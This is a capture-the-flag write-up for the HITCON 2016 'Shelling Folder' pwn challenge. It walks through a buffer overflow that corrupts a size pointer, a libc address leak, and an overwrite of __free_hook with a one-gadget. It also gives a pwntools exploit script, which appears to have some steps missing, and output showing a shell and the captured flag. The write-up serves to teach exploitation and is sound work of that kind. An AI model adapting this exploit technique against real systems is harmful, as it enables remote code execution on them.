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HITCON CTF 2016 Quals -- Shelling Folder

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Category: pwn
Points: 200

64 bit ELF, with all the protection enabled.

The program is a simple file system. You can create or delete files and folders, list files in a folder, change the current folder and calculate the size of a folder.

It's a unix-like file system, where folders are also a special type of file. Both folders and files are stored in the program with the following data structure:

struct file{
  struct file *sub_file[10]; // will all be null if it's a normal file
  struct file *parent_folder;
  char name[32];
  long file_size;
  int is_dir;

If a folder is created, the is_dir flag will be set to 1, and the file_size will be set to 0. A folder is allowed to contain at most 10 sub_file. If a normal file is created ( not folder ), the is_dir flag will be set to 0, and the value of file_size is set by user.

There's a buffer overflow vulnerability in the function of calculating the folder size:

void cal_folder_size(struct file *cur_folder)
  char s; // [sp+10h] [bp-30h]@3
  __int64 *v3; // [sp+28h] [bp-18h]@5
  int idx; // [sp+30h] [bp-10h]@3
  if ( !cur_folder )
  idx = 0;
  memset(&s, 0, 0x20uLL);
  while ( idx <= 9 )
    if ( cur_folder->sub_file[idx] )
      v3 = &cur_folder->file_size;
      copy_file_name(&s, cur_folder->sub_file[idx]->name); // <-- here we have a buffer overflow vulnerability
      if ( cur_folder->sub_file[idx]->is_dir == 1 )
        *v3 = *v3;
        printf("%s : size %ld\n", &s, cur_folder->sub_file[idx]->file_size);
        *v3 += cur_folder->sub_file[idx]->file_size;
  printf("The size of the folder is %ld\n", cur_folder->file_size);


When we set a file's name, we can input at most 31 characters. Inside the cal_folder_size function, the program will try to copy the file's name into a buffer s, which its size is only 24 bytes long. The vulnerability will cause the program to overwrite the v3 variable.

The v3 variable is an int* type pointer, which points to the current folder's file_size. Since we can overwrite this pointer, we can try to control this pointer and the size of the sub_file[idx], so when the program execute the code at line:

*v3 += cur_folder->sub_file[idx]->file_size

it will actually let us control the value of any address.

But remember the program has all the protection enabled, including PIE, so first we'll have to leak some address. Here's how I leak the address of the libc:

  1. Create & delete some folders, so the pointer that points to the head of smallbin will appear on the heap memory.
  2. Exploit the buffer overflow vulnerability, partial overwrite the v3 pointer and make it point to a struct file pointer p ( *v3 = p).
  3. Control a sub_file's file_size, so when it comes to the line *v3 += cur_folder->sub_file[idx]->file_size, it will adjust the value of p, making p->name point to the libc's address ( address of the smallbin's head )
  4. List the files in the current folder and leak the libc's address.

After we got the libc's address, we can use the same vulnerability to overwrite the __free_hook function pointer into the address of one gadget, and get the shell by deleting a file. Notice that file_size stores the value returned by atoi, a four-byte integer, so we'll have to overwrite __free_hook twice : first overwrite __free_hook, then overwrite __free_hook+4.

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = ""
#HOST = ""

PORT = 4869
ELF_PATH = "./shellingfolder_noalarm"
#LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"

LIBC_PATH = "./libc.so.6"

# setting 

context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32

context.log_level = 'INFO'


def my_recvuntil(s, delim):
    res = ""
    while delim not in res:
        c = s.recv(1)
        res += c
    return res

def myexec(cmd):
    return subprocess.check_output(cmd, shell=True)

def str_addr(s, f): # search string address in file

    result = list(f.search(s+"\x00"))
    if not len(result): # no result

        return None
        return result[0]

def create_file(name, size):
    r.sendlineafter(":", "4")
    r.sendafter(":", name)
    r.sendlineafter(":", str(size))

def change_dir(name):
    r.sendlineafter(":", "2")
    r.sendafter(":", name)

def remove(name):
    r.sendlineafter(":", "5")
    r.sendafter(":", name)

def make_dir(name):
    r.sendlineafter(":", "3")
    r.sendafter(":", name)

def ls():
    r.sendlineafter(":", "1")

def cal():
    r.sendlineafter(":", "6")

if __name__ == "__main__":

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)

    # overwrite &file->fize_size (address of file_size)

    # use cal() to let file->name point to main_arena+88

    create_file("F"*24+p8(0x10), 64)

    # leak libc address

    ######################## one gadget

    # .text:000000000004525A                 mov     rax, cs:environ_ptr_0

    # .text:0000000000045261                 lea     rdi, aBinSh     ; "/bin/sh"

    # .text:0000000000045268                 lea     rsi, [rsp+188h+var_158]

    # .text:000000000004526D                 mov     cs:dword_3C54A0, 0

    # .text:0000000000045277                 mov     cs:dword_3C54A4, 0

    # .text:0000000000045281                 mov     rdx, [rax]

    # .text:0000000000045284                 call    execve


    libc.address += u64(r.recv(6).ljust(8, "\x00")) - 0x3c3b78
    one_gadget = libc.address + 0x4525a
    malloc_hook = libc.symbols['__malloc_hook']
    free_hook = libc.symbols['__free_hook']
    log.success("libc_base: "+hex(libc.address))
    log.success("one_gadget: "+hex(one_gadget))
    log.success("malloc_hook: "+hex(malloc_hook))
    log.success("free_hook: "+hex(free_hook))

    # overwrite free_hook to one_gadet

    create_file("i"*24+p64(free_hook)[:7:], (one_gadget & 0xffffffff))
    create_file("I"*24+p64(free_hook+4)[:7:], ((one_gadget & 0xffffffff00000000)>>32))
    # get shell

[x] Opening connection to on port 4869
[x] Opening connection to on port 4869: Trying
[+] Opening connection to on port 4869: Done
[+] libc_base: 0x7ff15c7cc000
[+] one_gadget: 0x7ff15c81125a
[+] malloc_hook: 0x7ff15cb8fb10
[+] free_hook: 0x7ff15cb917a8
[*] Switching to interactive mode
 size 32753
The size of the folder is 0
 1.List the current folder            
 2.Change the current folder          
 3.Make a folder                      
 4.Create a file in current folder    
 5.Remove a folder or a file          
 6.Caculate the size of folder        
Your choice:Choose a Folder or file :

// id
uid=1000(shellingfolder) gid=1000(shellingfolder) groups=1000(shellingfolder)

// cat /home/shellingfolder/flag

flag: hitcon{Sh3llingF0ld3r_Sh3rr1nf0rd_Pl4y_w17h_4_S1mpl3_D4t4_Ori3nt3d_Pr0gr4mm1n7}


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